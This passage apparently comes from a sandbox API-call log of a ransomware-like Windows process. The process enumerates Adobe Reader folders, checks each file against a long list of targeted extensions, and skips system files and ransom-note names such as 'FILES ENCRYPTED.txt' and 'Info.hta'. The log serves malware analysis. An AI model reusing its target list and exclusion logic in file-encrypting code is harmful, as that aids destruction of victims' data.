lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".edml") returned 5 [0276.119] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.119] lstrlenW (lpString=".efd") returned 4 [0276.119] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".elf") returned 4 [0276.119] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".emf") returned 4 [0276.119] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".emz") returned 4 [0276.119] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".epf") returned 4 [0276.119] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".eps") returned 4 [0276.119] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".epsf") returned 5 [0276.119] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0276.119] lstrlenW (lpString=".epsp") returned 5 [0276.119] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0276.119] lstrlenW (lpString=".erf") returned 4 [0276.119] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".exr") returned 4 [0276.119] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".f4v") returned 4 [0276.119] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0276.119] lstrlenW (lpString=".fido") returned 5 [0276.120] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0276.120] lstrlenW (lpString=".flm") returned 4 [0276.120] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".flv") returned 4 [0276.120] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".frm") returned 4 [0276.120] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".fxg") returned 4 [0276.120] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".geo") returned 4 [0276.120] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".gif") returned 4 [0276.120] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".grs") returned 4 [0276.120] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".gz") returned 3 [0276.120] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.120] lstrlenW (lpString=".h") returned 2 [0276.120] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.120] lstrlenW (lpString=".hdr") returned 4 [0276.120] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".hpp") returned 4 [0276.120] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".hta") returned 4 [0276.120] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0276.120] lstrlenW (lpString=".htc") returned 4 [0276.120] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".htm") returned 4 [0276.121] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".html") returned 5 [0276.121] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0276.121] lstrlenW (lpString=".icb") returned 4 [0276.121] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".ics") returned 4 [0276.121] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".iff") returned 4 [0276.121] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".inc") returned 4 [0276.121] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".indd") returned 5 [0276.121] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0276.121] lstrlenW (lpString=".ini") returned 4 [0276.121] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".iqy") returned 4 [0276.121] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".j2c") returned 4 [0276.121] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".j2k") returned 4 [0276.121] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".java") returned 5 [0276.121] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0276.121] lstrlenW (lpString=".jp2") returned 4 [0276.121] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0276.121] lstrlenW (lpString=".jpc") returned 4 [0276.121] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0276.122] lstrlenW (lpString=".jpe") returned 4 [0276.122] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0276.122] lstrlenW (lpString=".jpeg") returned 5 [0276.122] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0276.122] lstrlenW (lpString=".jpf") returned 4 [0276.122] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0276.122] lstrlenW (lpString=".jpg") returned 4 [0276.122] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0276.122] lstrlenW (lpString=".jpx") returned 4 [0276.122] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0276.122] lstrlenW (lpString=".js") returned 3 [0276.122] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.122] lstrlenW (lpString="ui-strings.js") returned 13 [0276.122] lstrlenW (lpString=".love$") returned 6 [0276.122] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0276.122] lstrlenW (lpString="ui-strings.js") returned 13 [0276.122] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0276.122] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0276.122] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\ui-strings.js") returned 127 [0276.122] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.123] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0276.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.123] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0276.123] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no") returned 113 [0276.123] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no") returned 1 [0276.123] lstrlenW (lpString="nb-no") returned 5 [0276.123] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nb-no") returned -1 [0276.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.123] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no") returned 113 [0276.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0276.123] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.124] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.124] lstrlenW (lpString="ui-strings.js") returned 13 [0276.124] lstrlenW (lpString=".1cd") returned 4 [0276.124] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.124] lstrlenW (lpString=".3ds") returned 4 [0276.124] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.124] lstrlenW (lpString=".3fr") returned 4 [0276.124] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.124] lstrlenW (lpString=".3g2") returned 4 [0276.124] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.124] lstrlenW (lpString=".3gp") returned 4 [0276.124] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.124] lstrlenW (lpString=".7z") returned 3 [0276.124] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.124] lstrlenW (lpString=".accda") returned 6 [0276.124] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.124] lstrlenW (lpString=".accdb") returned 6 [0276.124] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.124] lstrlenW (lpString=".accdc") returned 6 [0276.124] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.124] lstrlenW (lpString=".accde") returned 6 [0276.124] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.124] lstrlenW (lpString=".accdt") returned 6 [0276.124] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.124] lstrlenW (lpString=".accdw") returned 6 [0276.125] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.125] lstrlenW (lpString=".adb") returned 4 [0276.125] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".adp") returned 4 [0276.125] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai") returned 3 [0276.125] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.125] lstrlenW (lpString=".ai3") returned 4 [0276.125] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai4") returned 4 [0276.125] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai5") returned 4 [0276.125] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai6") returned 4 [0276.125] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai7") returned 4 [0276.125] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".ai8") returned 4 [0276.125] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".anim") returned 5 [0276.125] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.125] lstrlenW (lpString=".arw") returned 4 [0276.125] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.125] lstrlenW (lpString=".as") returned 3 [0276.125] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.125] lstrlenW (lpString=".asa") returned 4 [0276.126] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".asc") returned 4 [0276.126] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".ascx") returned 5 [0276.126] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.126] lstrlenW (lpString=".asm") returned 4 [0276.126] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".asmx") returned 5 [0276.126] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.126] lstrlenW (lpString=".asp") returned 4 [0276.126] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".aspx") returned 5 [0276.126] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.126] lstrlenW (lpString=".asr") returned 4 [0276.126] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".asx") returned 4 [0276.126] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".avi") returned 4 [0276.126] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".avs") returned 4 [0276.126] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".backup") returned 7 [0276.126] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.126] lstrlenW (lpString=".bak") returned 4 [0276.126] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.126] lstrlenW (lpString=".bay") returned 4 [0276.127] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".bd") returned 3 [0276.127] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.127] lstrlenW (lpString=".bin") returned 4 [0276.127] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".bmp") returned 4 [0276.127] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".bz2") returned 4 [0276.127] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".c") returned 2 [0276.127] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.127] lstrlenW (lpString=".cdr") returned 4 [0276.127] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".cer") returned 4 [0276.127] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".cf") returned 3 [0276.127] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.127] lstrlenW (lpString=".cfc") returned 4 [0276.127] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".cfm") returned 4 [0276.127] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.127] lstrlenW (lpString=".cfml") returned 5 [0276.128] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.128] lstrlenW (lpString=".cfu") returned 4 [0276.128] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".chm") returned 4 [0276.128] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".cin") returned 4 [0276.128] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".class") returned 6 [0276.128] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.128] lstrlenW (lpString=".clx") returned 4 [0276.128] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".config") returned 7 [0276.128] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.128] lstrlenW (lpString=".cpp") returned 4 [0276.128] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".cr2") returned 4 [0276.128] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".crt") returned 4 [0276.128] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".crw") returned 4 [0276.128] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".cs") returned 3 [0276.128] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.128] lstrlenW (lpString=".css") returned 4 [0276.128] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.128] lstrlenW (lpString=".csv") returned 4 [0276.128] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".cub") returned 4 [0276.129] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dae") returned 4 [0276.129] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dat") returned 4 [0276.129] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".db") returned 3 [0276.129] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.129] lstrlenW (lpString=".dbf") returned 4 [0276.129] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dbx") returned 4 [0276.129] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dc3") returned 4 [0276.129] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dcm") returned 4 [0276.129] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dcr") returned 4 [0276.129] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".der") returned 4 [0276.129] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dib") returned 4 [0276.129] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dic") returned 4 [0276.129] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.129] lstrlenW (lpString=".dif") returned 4 [0276.129] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".divx") returned 5 [0276.130] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".djvu") returned 5 [0276.130] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".dng") returned 4 [0276.130] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".doc") returned 4 [0276.130] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".docm") returned 5 [0276.130] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".docx") returned 5 [0276.130] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".dot") returned 4 [0276.130] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".dotm") returned 5 [0276.130] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".dotx") returned 5 [0276.130] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.130] lstrlenW (lpString=".dpx") returned 4 [0276.130] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".dqy") returned 4 [0276.130] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.130] lstrlenW (lpString=".dsn") returned 4 [0276.130] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".dt") returned 3 [0276.131] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.131] lstrlenW (lpString=".dtd") returned 4 [0276.131] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".dwg") returned 4 [0276.131] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".dwt") returned 4 [0276.131] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".dx") returned 3 [0276.131] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.131] lstrlenW (lpString=".dxf") returned 4 [0276.131] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".edml") returned 5 [0276.131] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.131] lstrlenW (lpString=".efd") returned 4 [0276.131] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".elf") returned 4 [0276.131] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".emf") returned 4 [0276.131] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.131] lstrlenW (lpString=".emz") returned 4 [0276.131] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.131] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.132] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0276.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.132] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0276.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.132] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl") returned 113 [0276.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0276.132] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.132] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.133] lstrlenW (lpString="ui-strings.js") returned 13 [0276.133] lstrlenW (lpString=".1cd") returned 4 [0276.133] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".3ds") returned 4 [0276.133] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".3fr") returned 4 [0276.133] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".3g2") returned 4 [0276.133] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".3gp") returned 4 [0276.133] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".7z") returned 3 [0276.133] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.133] lstrlenW (lpString=".accda") returned 6 [0276.133] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.133] lstrlenW (lpString=".accdb") returned 6 [0276.133] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.133] lstrlenW (lpString=".accdc") returned 6 [0276.133] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.133] lstrlenW (lpString=".accde") returned 6 [0276.133] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.133] lstrlenW (lpString=".accdt") returned 6 [0276.133] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.133] 